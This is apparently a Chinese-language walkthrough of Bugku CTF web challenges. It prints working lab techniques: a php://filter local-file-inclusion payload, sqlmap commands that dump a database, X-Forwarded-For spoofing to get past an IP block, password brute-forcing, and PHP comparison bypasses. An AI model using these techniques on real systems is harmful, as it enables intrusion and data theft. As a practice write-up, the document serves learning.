WEB2
听说聪明的人都能找到答案!
打开看一眼,我是不是聪明的人。
满屏猥琐表情,并且建议大家可以尝试看到最后。
看这一堆猥琐表情是看不出什么来了,还是看看源代码吧。
body头里注释里静静的躺着大写的flag
flag KEY{Web-2-bugKssNNikls9100}
提交一下是不是可以通关。OK解决。
因为我以前做过,所以它会显示you already solved this你已经解决这个问题了。
计算器(随机数字验证码)
这次没有什么任何提示,就是计算器三个字。不妨猜一猜是不是算加减乘除。
标题是随机数字运算验证码
打开一看,好像下意识的去计算一下。
58+40=98 输入一下
只让我输入1位数…
我们改一下代码,把长度加一下。
在输入,确认一下。
果然和题目一样,真的是计算器计算一下。
flag{CTF-bugku-0032}
OK,去验证一下。
搞定!
web基础_GET
看提示,猜想是通过GET来进行获取到flag的关键点。
进去看看,一串代码。
大体意思是如果what在GET里传输并且what=flag才可以输出这个flag
如果不懂代码建议自己去学习吧,我也没办法~
我们直接在URL里进行输出
what=flag
flagflag{bugku_get_su8kej2en}
输入我们进行验证一下。
OK!解决。
web基础_POST
看提示,应该和前一关的GET一样,这次在POST输出。
我们进去看一看
果然一样的,我们在post里进行what=flag
成功获取到flag
flag{bugku_get_ssseint67se}
我们放进去验证一下。
OK!搞定。
矛盾
查看提示,矛盾,估计是挺矛盾的。
打开看一眼
看代码意思,就是不能是数字但是还得是1才能输出,是挺矛盾的。
$num=$_GET['num'];//GET获取值
if(!is_numeric($num))//判断num是否为数字,如果不是则输出num的值
{
echo $num;
if($num==1)//如果num=1则输出flag
echo 'flag{**********}';
}
我们直接输入1随便加个字母试试。
flag直接出来了…
flag{bugku-789-ps-ssdf}
拿去验证一下
OK!搞定。
WEB3
看提示,简单粗暴。
…
…
就这两句话,无限循环…还是看看源码吧。
翻到最后,可算看到不一样的地方了。
KEY{J2sa42ahJK-HS11III}
这里是个html编码,需要解下码。
直接给默认解了。
KEY{J2sa42ahJK-HS11III}
验证一下试试。
OK!搞定!
域名解析
看提示,直接告诉我们获取方式了。
把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
windows下文件在C:\Windows\System32\drivers\etc\hosts
这个地方修改时,win10无权限。
参考一下这边篇文章
https://www.cnblogs.com/ECJTUACM-873284962/p/8858384.html
notepad hosts打开hosts文件
添加把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
访问flag.baidu.com
KEY{DSAHDSJ82HDS2211}
验证一下。
OK!搞定。
你必须让他停下
看提示,你必须让他停下。
打开之后一只在跳啊跳。
查看源码发现至少有10几张图片来回跳,每一次都不一样。
就连续打开了10几次,然后在10.jpg上看到了flag
flag{dummy_game_1s_s0_popular}
拿去验证一下
OK!搞定。
本地包含
看提示,这是一个本地包含漏洞。
打开看一眼。
直接出错了。换了浏览器也不行。估计是有问题了。
这里给大家找一篇文件参考一下吧。
https://blog.csdn.net/dyw_666666/article/details/82389457
最后flag是
变量1
看提示,flag应该是在变量里了。
打开看一眼。
函数。如果看不懂的话,建议去学一下代码了。
这个地方正则匹配只能大小写字符和数字。
eval(“var_dump($$args);”);打印出变量的值,利用超全局数组 GLOBALS 可以打印出所有变量。
构造完就是
php?args=GLOBALS
flag{92853051ab894a64f7865cf3c2128b34}
拿去验证一下。
OK!搞定。
web5
看提示JSPFUCK???答案格式CTF{**} 字母大写
进去看一眼。
jsp 源代码看一下一大堆
直接扔控制台
ctf{whatfk}
我们直接输入一下。显示非常非常接近了。
想起前面的提示我们换成大写试试CTF{WHATFK}
答对了。
OK!搞定。
头等舱
观察提示 头等舱… 头?等?舱?
查看一下,什么也没有…
看下源码,真的是什么都没有。
提示是头等舱,难道在http包里哪个地方?
包里也没有。
响应???
flag{Bugku_k8_23s_istra}
果然在这里,花式藏flag。看自己脑洞了…
OK!搞定。
Website is black
看提示,这个题没技术含量但是实战中经常遇到。
进去看了一眼,很炫酷,webshell的话我们直接扫目录看看能不能扫到shell。
目录扫描。
看到shell了。
要密码,直接bp吧,这密码咱也不知道。
bp完活,密码是hack,flag也直接出来了。
flag{hack_bug_ku035}
搞定。
管理员系统
看提示,是个管理员系统。flag格式应该是要自己构造下。
进去看一看吧。
登录框,admin,admin输入试一下
禁止访问,直接记录IP
这样的话,我们爆破都没法爆破。这就需要用到X-Forwarded-For:127.0.0.1
放了下百度百科。看不明白可以在去百度下。
我们随便输入用户名密码添加X-Forwarded-For:127.0.0.1进行爆破。
用户名:admin密码:test123
The flag is: 85ff2ee4171396724bae20c0bd851f6b
根据提示的flag格式,我们进行构造。
flag{85ff2ee4171396724bae20c0bd851f6b}
OK!搞定。
web4
看提示,让我们看看源代码。
那我们进去直接看一下源代码吧。
很明显,这一堆url编码肯定有东西。
解码
解完是这样,咱们在分析分析。
var p1 = ‘function checkSubmit(){var a%3ddocument.getElementById(“password”)%3bif(“undefined”!%3dtypeof a){if("67d709b2b’;
var p2 = ‘aa648cf6e87a7114f1"%3d%3da.value)return!0%3balert(“Error”)%3ba.focus()%3breturn!1}}document.getElementById(“levelQuest”).onsubmit%3dcheckSubmit%3b’;
eval(unescape(p1) + unescape(‘54aa2’ + p2));
这有一段类似于提示eval(unescape(p1) + unescape(‘54aa2’ + p2));把他拼一下。
拼起来是这样的,我们放进去试一试。67d709b2b54aa2aa648cf6e87a7114f1
OK!flag直接出来了。
KEY{J22JK-HS11}
OK!搞定。
flag在index里
看提示,又好明显的意思,flag在index里。
打开看一下。
很明显可以点。
点完就出了个test5,但是URL里看到了一个熟悉的参数,file。
构造出?file=php://filter/read=convert.base64-encode/resource=index.php,以base64编码。
php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
解码一下。
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
flag直接出来了。
输入密码查看flag
看提示,输入密码查看flag,看起来挺简单的。
进去看一下。
看样子很明确了,这就是5位数bp了。
上字典进行bp吧。
密码13579,flag直接出来了。
flag{bugku-baopo-hah}
点击一百万次
看提示,好像意思是javascript改为1000000才可以。
进去看一眼。
又炸裂了。不知道哪位大哥又搞炸了。
只能去百度一下以前的大佬写的稿子了。
推荐资料:
https://blog.csdn.net/weixin_43578492/article/details/95525371
https://www.cnblogs.com/0yst3r-2046/p/10745979.html
总结起来就是2种方法。
1.F12,选择控制台,然后输入clicks=1000000,然后回车,再点击一下网站那个图案,发现得到了flag
2.用POST提交cllicks=1000000,得到flag。
falg{Not_C00kI3CI1ck3r}
备份是个好习惯
看提示,听说备份是个好习惯,这个意思看来就是线索在bak备份文件里了,直接拿御剑跑一跑。
找到了
下载下来看一看
分析下意思。
将get的两个参数中的key替换为空(这里可以用kekeyy绕过)
然后对key1,key2的值进行md5加密,并进行比较,
如果md5加密的值一样而未加密的值不同,就输出flag。
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
Bugku{OH_YOU_FIND_MY_MOMY}
成绩单
看提示,快来查查成绩吧。
进去看一下,这是个很典型的SQL注入。
应该手工就可以出来,我直接拿SQLmap跑了。
首先抓包保存一下。
掏出工具开始跑。
python2 sqlmap.py -r 1.txt -p id --current-db
-r打开这个1.txt文件
-p指定参数这个id
看到一个库 skctf_flag
python2 sqlmap.py -r 1.txt -p id -D skctf_flag --tables
表里有个f14g
python2 sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g --column
看一下f14g表中有什么数据。
python2 sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
在看一下skctf_flag中的值就应该能拿到flag了。
出来了BUGKU{Sql_INJECT0N_4813drd8hz4}
秋名山老司机
看提示,是要飙车。
进去看看,请在2秒内计算出老司机车速。
人工手算肯定是算不出来了,只能写代码了,代码烂的一批。
参考了一下人家的代码。
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
emmmmm不知道为啥,我现在跑不出来了…
网上大佬们发的过关技巧也都是写代码跑。
推荐资料
https://www.cnblogs.com/yuluoluo/p/9783400.html
https://www.jianshu.com/p/b0a5d72c8bae
https://blog.csdn.net/second_dream99/article/details/86703327
最终flag是Bugku{YOU_DID_IT_BY_SECOND}
速度要快
看提示,就四个字,速度要快!!!!!!
进去查看源码
让我们POST一个参数margin
响应头里直接有个flagb64编码,我们解一下码,看看。
直接说我跑的不错,给我flag,真的假的。
去试试。KEY{MTg3NjAw}
直接过了…
百度了一下,还是给参考资料吧,不知道是靶场出问题了,还是太幸运。
资料
https://blog.csdn.net/qq_42777804/article/details/90314875
https://blog.csdn.net/weixin_43784056/article/details/84483152